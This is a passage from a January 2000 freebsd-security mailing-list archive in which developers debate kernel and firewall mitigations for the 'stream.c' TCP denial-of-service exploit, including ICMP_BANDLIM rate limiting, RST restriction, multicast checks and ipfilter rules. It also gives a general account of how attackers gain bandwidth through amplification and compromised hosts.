OS's go. It has also seemed to affect some hubs, switches, routers, or gateways since entire subnets have "disappeared" briefly after the attack. I don't have more specifics on it since I do not directly know the people that operated those networks, it was just discovered in the testing period. It should be noted that FreeBSD 3.4 and -CURRENT both have the TCP_RESTRICT_RST option. You can turn on tcp_restrict_rst by recompile your kernel with option TCP_RESTRICT_RST and then turn on tcp_restrict_rst in /etc/rc.conf. I hope that this helps, or explains a little more at least. /tmy -- Diving into infinity my consciousness expands in inverse proportion to my distance from singularity +-------- ------- ------ ----- ---- --- -- ------ --------+ | Tim Yardley (yardley@uiuc.edu) | http://www.students.uiuc.edu/~yardley/ +-------- ------- ------ ----- ---- --- -- ------ --------+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 15:31:21 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 4473F155EC for ; Fri, 21 Jan 2000 15:31:14 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id PAA64734; Fri, 21 Jan 2000 15:31:10 -0800 (PST) (envelope-from dillon) Date: Fri, 21 Jan 2000 15:31:10 -0800 (PST) From: Matthew Dillon Message-Id: <200001212331.PAA64734@apollo.backplane.com> To: Poul-Henning Kamp Cc: Alfred Perlstein , Brett Glass , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths References: <7192.948496931@critter.freebsd.dk> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org : :In message <200001212311.PAA64559@apollo.backplane.com>, Matthew Dillon writes: : :> No, this is far too dangerous. If a packet is bad due to being :> corrupted then you want to throw it away (via the checksum check) :> *BEFORE* you start messing around with the socket state. Otherwise :> a perfectly legitimate packet that got corrupted in transit may :> cause a disconnect or other failure. : :It makes a lot of sense to do cheap (relative to the checksum) :checks on the packet before we do the checksum, as long as we :don't modify any state before the checksum is validated. : :If it is cheaper to try to locate the pcb, than to calculate the :checksum, the locate the pcb first and drop the packet before :doing the checksum. In general principle I agree with you. But realistically speaking it doesn't cost very much to checksum an IP packet, and most machines will have 100 BaseT which is *ONLY* 10 MBytes/sec in bandwidth. It doesn't cost much to checksum 10 MBytes/sec. Moving the location of the checksum code is not going to make a big difference compared to band-limiting the output packets. Band-limiting the output packets makes a huge difference, especially to machines on HUBs. We are talking at least an order of magnitude here. :a lot. We're trying to do the same thing here. The general :fix for this entire class of DoS attacks is therefore the same :thing: Toss out the packet as soon as possible, and as cheaply :as possible. :-- :Poul-Henning Kamp FreeBSD coreteam member Except that this will not fix anything. You are saving yourself a small amount of cpu -- not enough to matter, really, in an attack of this sort. It may be worth doing this sort of patch after the release, but if the goal of the release is to fix bugs then the proper solution is to use the one that we know already makes a difference - restricting the output path. I went through all this crap while at BEST, dealing with 80+ MBit attacks from IRC weenies. That's why ICMP_BANDLIM was committed to the tree in the first place and also why I didn't bother messing with the input path. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 15:35:56 2000 Delivered-To: freebsd-security@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id D1F0B15765 for ; Fri, 21 Jan 2000 15:35:36 -0800 (PST) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost.freebsd.dk [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id AAA07265; Sat, 22 Jan 2000 00:35:09 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: Matthew Dillon Cc: Alfred Perlstein , Brett Glass , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths In-reply-to: Your message of "Fri, 21 Jan 2000 15:31:10 PST." <200001212331.PAA64734@apollo.backplane.com> Date: Sat, 22 Jan 2000 00:35:09 +0100 Message-ID: <7263.948497709@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <200001212331.PAA64734@apollo.backplane.com>, Matthew Dillon writes: > Except that this will not fix anything. You are saving yourself a small > amount of cpu -- not enough to matter, really, in an attack of this sort. > It may be worth doing this sort of patch after the release, but if the goal > of the release is to fix bugs then the proper solution is to use the one that > we know already makes a difference - restricting the output path. And you conveniently forgot to quote the one line of my email where I said as much. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 15:39:38 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 58B5315620 for ; Fri, 21 Jan 2000 15:39:34 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id QAA25728; Fri, 21 Jan 2000 16:39:17 -0700 (MST) Message-Id: <4.2.2.20000121163754.0198a470@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 16:39:14 -0700 To: Brad Guillory , freebsd-security@FreeBSD.ORG From: Brett Glass Subject: Re: Some observations on stream.c and streamnt.c In-Reply-To: <20000121171759.D56672@baileylink.net> References: <200001212258.OAA64329@apollo.backplane.com> <200001212258.OAA64329@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 04:17 PM 1/21/2000 , Brad Guillory wrote: >I don't understand how a "script kiddie" is going to garner the bandwidth >to run an attack into the multi-megabit range. This is not a leveraged >attack (right?). What kind of packet rate are we talking about to reboot >a system, I understand that this will depend on the equipment, but I am >interested in any numbers that would allow me to evaluate the real impact >that this DOS will have. Most people that have enough bandwidth to launch >a multi-megabit attack have better things to do than (or is it then) to pick >on me. Have you ever heard of Tribe Flood Network? Stacheldraht? It's possible to HIJACK the bandwidth from all over the net. Your upstream ISP's router focuses the attack on your system like a magnifying glass gathering the sun's rays. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 15:39:40 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id CB2CF15718 for ; Fri, 21 Jan 2000 15:39:26 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id QAA25724; Fri, 21 Jan 2000 16:39:16 -0700 (MST) Message-Id: <4.2.2.20000121163454.01a58e30@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 16:37:37 -0700 To: Matthew Dillon From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: Alfred Perlstein , security@FreeBSD.ORG In-Reply-To: <200001212315.PAA64608@apollo.backplane.com> References: <4.2.2.20000120182425.01886ec0@localhost> <20000120195257.G14030@fw.wintelcom.net> <4.2.2.20000120220649.018faa80@localhost> <4.2.2.20000120222630.01919150@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 04:15 PM 1/21/2000 , Matthew Dillon wrote: > There is nothing wrong with the protocol standard. Just because it > happens to appear to be vulernable to a DOS attack does not make it > 'broken'. RST handling is designed to deal with long network downtime > and host reboot resynchronization cases. Just dropping the RST response will > cause the other end to take a much longer to timeout then it would otherwise. > Dropping RST's in anything but a self-defense situation during a real life > attack is a bad idea. Perhaps one should stop dropping RSTs when it's clear that the number you're sending is greater than the number of connections you've had in a good long while! If that's so, you're clearly under attack. Also, trying to send a RST to an IP multicast address (which you'll do if the incoming bogus ACK had a multicast address as its source address) is something that we should definitely not do. We should definitely disable this in tcp_input.c at the label dropwithreset. Agreed? --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 15:44:37 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 1CEE115820 for ; Fri, 21 Jan 2000 15:44:32 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id QAA25777; Fri, 21 Jan 2000 16:44:08 -0700 (MST) Message-Id: <4.2.2.20000121163937.01a51dc0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 16:44:06 -0700 To: Matthew Dillon , Warner Losh From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: Darren Reed , security@FreeBSD.ORG In-Reply-To: <200001212321.PAA64674@apollo.backplane.com> References: <200001210417.PAA24853@cairo.anu.edu.au> <200001210642.XAA09108@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 04:21 PM 1/21/2000 , Matthew Dillon wrote: > Yes, you can theoretically drop any packet and still adhere to the protocol, > but at the cost of odd degredation cases occuring on the remote end (such as > the remote end taking a longer amount of time figuring out that you've > rebooted). Therefore it should only be done when absolutely necessary. > > The ICMP_BANDLIM code does precisely this: It detects a potential attack > and limits the response to it. The current ICMP_BANDLIM code is limited > to two cases: > > (1) ICMP responses > (2) TCP packets sent to bad ports > > It would take perhaps ten seconds to extend the mechanism to cover other TCP > RST cases but the above two cases usually handle the vast majority of > these sorts of attacks so if this exploit code is stopped cold by ICMP_BANDLIM, > we're done. If it isn't then we spend a few seconds extending the cases > covered by ICMP_BANDLIM and we are done. I'd certainly like to see this extended to RST. We can optimize socket searching and prevent TCP from sending RSTs (or anything!) to multicast addresses at the same time. (We probably also want to block RECEIVED TCP packets from multicast addresses, as Wes suggests.) --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 15:46: 5 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id B89B0158A6 for ; Fri, 21 Jan 2000 15:46:03 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id QAA25800; Fri, 21 Jan 2000 16:45:38 -0700 (MST) Message-Id: <4.2.2.20000121164441.01980d30@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 16:45:35 -0700 To: Poul-Henning Kamp , Matthew Dillon From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: Alfred Perlstein , security@FreeBSD.ORG In-Reply-To: <7192.948496931@critter.freebsd.dk> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 04:22 PM 1/21/2000 , Poul-Henning Kamp wrote: >It makes a lot of sense to do cheap (relative to the checksum) >checks on the packet before we do the checksum, as long as we >don't modify any state before the checksum is validated. Agreed. This satisfies both Alfred's and Matt's constraints. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 15:48:46 2000 Delivered-To: freebsd-security@freebsd.org Received: from benge.graphics.cornell.edu (benge.graphics.cornell.edu [128.84.247.43]) by hub.freebsd.org (Postfix) with ESMTP id 4FB941591E for ; Fri, 21 Jan 2000 15:48:41 -0800 (PST) (envelope-from mkc@benge.graphics.cornell.edu) Received: from benge.graphics.cornell.edu (mkc@localhost) by benge.graphics.cornell.edu (8.9.3/8.9.3) with ESMTP id SAA06856; Fri, 21 Jan 2000 18:48:35 -0500 (EST) (envelope-from mkc@benge.graphics.cornell.edu) Message-Id: <200001212348.SAA06856@benge.graphics.cornell.edu> To: Brad Guillory Cc: freebsd-security@FreeBSD.ORG Subject: Re: Some observations on stream.c and streamnt.c In-Reply-To: Message from Brad Guillory of "Fri, 21 Jan 2000 17:17:59 CST." <20000121171759.D56672@baileylink.net> Date: Fri, 21 Jan 2000 18:48:35 -0500 From: Mitch Collinsworth Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >> Note that a T3 is only 45 MBits. Attacks on BEST that only went through >> a single incoming T3 never had much of an effect, it was only those >> attacks that came over multiple T3's (generally ping-broadcast attacks) >> that we worried about. >> >I don't understand how a "script kiddie" is going to garner the bandwidth >to run an attack into the multi-megabit range. By rooting a handful of linux systems at various Universities that have T3 connections. Happens all the time, unfortunately. :-( Things have slowed down a bit lately but for a while we[1] were being port scanned almost daily from one corner of the net or another. Frequently the ultimate determination is the scan was coming from a hacked linux system. Classes start again next week. -Mitch [1] By 'we' I mean whole class B address ranges at a time. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 15:50: 1 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id A1B23158F2 for ; Fri, 21 Jan 2000 15:49:56 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id PAA64869; Fri, 21 Jan 2000 15:49:49 -0800 (PST) (envelope-from dillon) Date: Fri, 21 Jan 2000 15:49:49 -0800 (PST) From: Matthew Dillon Message-Id: <200001212349.PAA64869@apollo.backplane.com> To: Brad Guillory Cc: freebsd-security@FreeBSD.ORG Subject: Re: Some observations on stream.c and streamnt.c References: <200001212258.OAA64329@apollo.backplane.com> <20000121171759.D56672@baileylink.net> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :> a single incoming T3 never had much of an effect, it was only those :> attacks that came over multiple T3's (generally ping-broadcast attacks) :> that we worried about. :> :> -Matt : :I don't understand how a "script kiddie" is going to garner the bandwidth :to run an attack into the multi-megabit range. This is not a leveraged :attack (right?). What kind of packet rate are we talking about to reboot :a system, I understand that this will depend on the equipment, but I am :interested in any numbers that would allow me to evaluate the real impact :that this DOS will have. Most people that have enough bandwidth to launch :a multi-megabit attack have better things to do than (or is it then) to pick :on me. Thanx all, BMG Ah, welcome to the shady world of the IRC hacker. While I was still at BEST IRC weenies were able to mount 80+ MBit attacks on us fairly easily. We recorded a number of 100 MBit+ attacks as well. In fact, in the last two years I was there the high-bandwidth attacks became much more prevalent as more and more rootable internet sites became better connected. There are several ways to do it: * First, ping-broadcast-response attacks. In this attack the IRC weenie finds networks which have machines on them which accept broadcast pings. All the machines on the network in question then respond to the ping. So one spoofed packet can cause several dozen, even a hundred or more packets to be directed to the victim. * Second, compromised accounts. There are thousands of machines on the net and hundreds of thousands of compromised accounts, and there are also a lot of machines for which root has been broken. Script kiddies pass around account logins and passwords and are generally able to mount attacks from several well-connected machines simultaniously, both spoofed attacks and non-spoofed attacks. Universities and ISPs generally have rampant compromised machines and some of these, such as MIT, have hundreds of megabits of bandwidth to the internet. These are often the source of high-bandwidth attacks (not perpetrated by students so much as perpetrated by IRC weenies who have compromised the machines). Accounts are compromised in any number of ways. The #1 problem is that a user will telnet into a machine from another machine or network that has been compromised, thus compromising his ISP account. For example, from a public library. The #2 problem is that comrpomised accounts are used to obtain encrypted password files, which are then decrypted. There are any number of holes that allow script kiddies to get ahold of encrypted passwords without necessarily breaking root. The #3 problem is that an ISP's machine will wind up having its root compromised. Every time a new hole is found, ISPs have to run to get it closed. The most recent example is the bind/named hole. Even though I don't work at BEST any more I still have friends there that do, and they covered that hole pretty damn quick. But other ISPs and universities have probably not been so fortunate. Each hole generally results in at least several hundred machines across the U.S. (and the world) being broken into. Probably more. But an even greater number of installations don't even bother keeping their machines up to date. So there are always plenty of machines for IRC weenies to break into. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 15:52:22 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id C5AE31564C for ; Fri, 21 Jan 2000 15:52:19 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id QAA25905; Fri, 21 Jan 2000 16:52:13 -0700 (MST) Message-Id: <4.2.2.20000121165135.01a543b0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 16:52:10 -0700 To: Matthew Dillon From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: Alfred Perlstein , security@FreeBSD.ORG In-Reply-To: <4.2.2.20000121163454.01a58e30@localhost> References: <200001212315.PAA64608@apollo.backplane.com> <4.2.2.20000120182425.01886ec0@localhost> <20000120195257.G14030@fw.wintelcom.net> <4.2.2.20000120220649.018faa80@localhost> <4.2.2.20000120222630.01919150@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 04:37 PM 1/21/2000 , I wrote: >Perhaps one should stop dropping RSTs when it's clear that the number you're sending >is greater than the number of connections you've had in a good long while! I meant "stop sending RSTs," of course. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 15:53:31 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id 4F076158ED for ; Fri, 21 Jan 2000 15:53:28 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id PAA14508; Fri, 21 Jan 2000 15:50:33 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id PAA51602; Fri, 21 Jan 2000 15:50:32 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id PAA14888; Fri, 21 Jan 2000 15:50:32 -0800 (PST) Message-Id: <200001212350.PAA14888@salsa.gv.tsc.tdk.com> From: gdonl@tsc.tdk.com (Don Lewis) Date: Fri, 21 Jan 2000 15:50:32 -0800 In-Reply-To: Brett Glass "Re: stream.c worst-case kernel paths" (Jan 21, 3:08pm) X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Brett Glass , Jared Mauch Subject: Re: stream.c worst-case kernel paths Cc: Wes Peters , TrouBle , security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 21, 3:08pm, Brett Glass wrote: } Subject: Re: stream.c worst-case kernel paths } I can see that in icmp.c, there is a test that prevents us from } sending an ICMP packet to a multicast address. And in tcp_input.c, } the code near the label "dropwithreset" prevents a RST from being } sent in response to a packet whose DESTINATION was a multicast } address. But I don't see anything that stops it from going } out when the SOURCE was a multicast address. So TCP attempts } to send a RST to that address (something that should be } fixed!). Barf! If this is the problem, then IPFW should be able to block the attack. I'm tempted to move the existing multicast tests up to the top of tcp_input() and check the source address as well. I just hate to add extra code to the main code path, though. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 15:54: 7 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 3DEE7158F2 for ; Fri, 21 Jan 2000 15:53:31 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id PAA64927; Fri, 21 Jan 2000 15:53:28 -0800 (PST) (envelope-from dillon) Date: Fri, 21 Jan 2000 15:53:28 -0800 (PST) From: Matthew Dillon Message-Id: <200001212353.PAA64927@apollo.backplane.com> To: Poul-Henning Kamp Cc: Alfred Perlstein , Brett Glass , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths References: <7263.948497709@critter.freebsd.dk> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :> It may be worth doing this sort of patch after the release, but if the goal :> of the release is to fix bugs then the proper solution is to use the one that :> we know already makes a difference - restricting the output path. : :And you conveniently forgot to quote the one line of my email where I :said as much. : :-- :Poul-Henning Kamp FreeBSD coreteam member :phk@FreeBSD.ORG "Real hackers run -current on their laptop." Sorry about that. I'm freaking out a little because we are too damn close to release to be making any big changes to the network stack and protocols. Frankly, big changes are not necessary. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 15:58:28 2000 Delivered-To: freebsd-security@freebsd.org Received: from cairo.anu.edu.au (cairo.anu.edu.au [150.203.224.11]) by hub.freebsd.org (Postfix) with ESMTP id 0A2641582C; Fri, 21 Jan 2000 15:58:19 -0800 (PST) (envelope-from avalon@cairo.anu.edu.au) Received: (from avalon@localhost) by cairo.anu.edu.au (8.9.3/8.9.3) id KAA15748; Sat, 22 Jan 2000 10:58:28 +1100 (EST) From: Darren Reed Message-Id: <200001212358.KAA15748@cairo.anu.edu.au> Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? To: kraemer@u.washington.edu (Brian Kraemer) Date: Sat, 22 Jan 2000 10:58:28 +1100 (Australia/NSW) Cc: avalon@coombs.anu.edu.au (Darren Reed), freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG In-Reply-To: from "Brian Kraemer" at Jan 21, 2000 08:55:32 AM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In some mail from Brian Kraemer, sie said: > > On Fri, 21 Jan 2000, Darren Reed wrote: > > > btw, I think the better way to write the 3 rules is: > > > > block in quick proto tcp from any to any head 100 > > pass in quick proto tcp from any to any flags S keep state group 100 > > pass in all > > If I'm not mistaken, this ruleset (and no other rules) will also > effectively block any outgoing TCP sessions initiated from this machine. > The machine will send a SYN, and then get blocked because the input rules > never saw an incoming SYN to start keeping state. > > I assume a rule that keeps state on the outgoing would fix this? Yes. I forgot about that :-) pass out proto tcp from any to any flags S keep state would be required also. Darren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 16:34:44 2000 Delivered-To: freebsd-security@freebsd.org Received: from orion.ac.hmc.edu (Orion.AC.HMC.Edu [134.173.32.20]) by hub.freebsd.org (Postfix) with ESMTP id 4BEBE156C2 for ; Fri, 21 Jan 2000 16:34:42 -0800 (PST) (envelope-from brdavis@orion.ac.hmc.edu) Received: (from brdavis@localhost) by orion.ac.hmc.edu (8.8.8/8.8.8) id QAA09410; Fri, 21 Jan 2000 16:34:24 -0800 (PST) Date: Fri, 21 Jan 2000 16:34:24 -0800 From: Brooks Davis To: Matthew Dillon Cc: Brad Guillory , freebsd-security@FreeBSD.ORG Subject: Re: Some observations on stream.c and streamnt.c Message-ID: <20000121163424.C23771@orion.ac.hmc.edu> References: <200001212258.OAA64329@apollo.backplane.com> <20000121171759.D56672@baileylink.net> <200001212349.PAA64869@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre4i In-Reply-To: <200001212349.PAA64869@apollo.backplane.com>; from dillon@apollo.backplane.com on Fri, Jan 21, 2000 at 03:49:49PM -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, Jan 21, 2000 at 03:49:49PM -0800, Matthew Dillon wrote: > Universities and ISPs generally have rampant compromised machines and some > of these, such as MIT, have hundreds of megabits of bandwidth to the > internet. These are often the source of high-bandwidth attacks (not > perpetrated by students so much as perpetrated by IRC weenies who have > compromised the machines). Speaking from the University perspective, I'm actually supprised by how few boxes we've had hacked (and found out about). The number of unmodified RedHat 5.1 (containing at least 4 remote root exploits of the top of my head) boxes out there is scarry. Far to many students see Linux as the "cool" OS so they install it, not realizing that you have to keep up with the patches. I've been suggesting daily nessus scans to "encourage" students to upgrade, but that management types don't like the idea of toasting most of the student boxes on a daily basis. How strange. ;-) -- Brooks -- "They that can give up essential liberty to purchase a little temporary safety, deserve neither liberty nor safety." -- Benjamin Franklin. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 16:35:48 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 88C39156A8 for ; Fri, 21 Jan 2000 16:35:46 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id QAA65392; Fri, 21 Jan 2000 16:35:44 -0800 (PST) (envelope-from dillon) Date: Fri, 21 Jan 2000 16:35:44 -0800 (PST) From: Matthew Dillon Message-Id: <200001220035.QAA65392@apollo.backplane.com> To: Brett Glass Cc: Warner Losh , Darren Reed , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths References: <200001210417.PAA24853@cairo.anu.edu.au> <200001210642.XAA09108@harmony.village.org> <4.2.2.20000121163937.01a51dc0@localhost> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :> RST cases but the above two cases usually handle the vast majority of :> these sorts of attacks so if this exploit code is stopped cold by ICMP_BANDLIM, :> we're done. If it isn't then we spend a few seconds extending the cases :> covered by ICMP_BANDLIM and we are done. : :I'd certainly like to see this extended to RST. We can optimize socket searching :and prevent TCP from sending RSTs (or anything!) to multicast addresses at the :same time. (We probably also want to block RECEIVED TCP packets from multicast :addresses, as Wes suggests.) : :--Brett I wouldn't worry about multicast addresses for several reasons. First, very few machines actually run a multicast router. No router, no problem. Second, multicast tunnels tend to be bandwidth limited anyway. Third, from the point of view of victimizing someone multicast isn't going to get you very far because we already check for a multicast destination. We don't really need to check for a multicast source because it's really no different from a victimizing point of view as a non-multicast source address. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 16:46: 5 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id E008615662 for ; Fri, 21 Jan 2000 16:46:02 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id RAA26604; Fri, 21 Jan 2000 17:45:40 -0700 (MST) Message-Id: <4.2.2.20000121170250.01986ea0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 17:44:48 -0700 To: gdonl@tsc.tdk.com (Don Lewis), Jared Mauch From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: Wes Peters , TrouBle , security@FreeBSD.ORG In-Reply-To: <200001212350.PAA14888@salsa.gv.tsc.tdk.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 04:50 PM 1/21/2000 , Don Lewis wrote: >I'm tempted to move the existing multicast tests up to the top >of tcp_input() and check the source address as well. I just hate >to add extra code to the main code path, though. Checking the source address early would not hurt, since it seems to be done so much anyway. Go to the /sys/netinet directory and do a "grep IN_MULTICAST *" to see what I mean! In fact, the number of scattered tests makes a strong argument for doing this check lower down in the stack and setting a flag. It might also prevent other problems if multicast packets were intercepted before they were ever passed to non-multicast protocols. I'd hate to see an attack based on, for example, sending ICMP packets to or from a multicast source address (shudder). Perhaps we should set a flag in m_flags, as (if I'm reading the code correctly) is done for the destination address almost as soon as the packet arrives. There seem to be bits available (see /sys/sys/mbuf.h). (By the way, some of the bits in m_flags aren't documented in mbuf.h. I just noticed that /sys/net/if_ppp.c defines two.) --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the 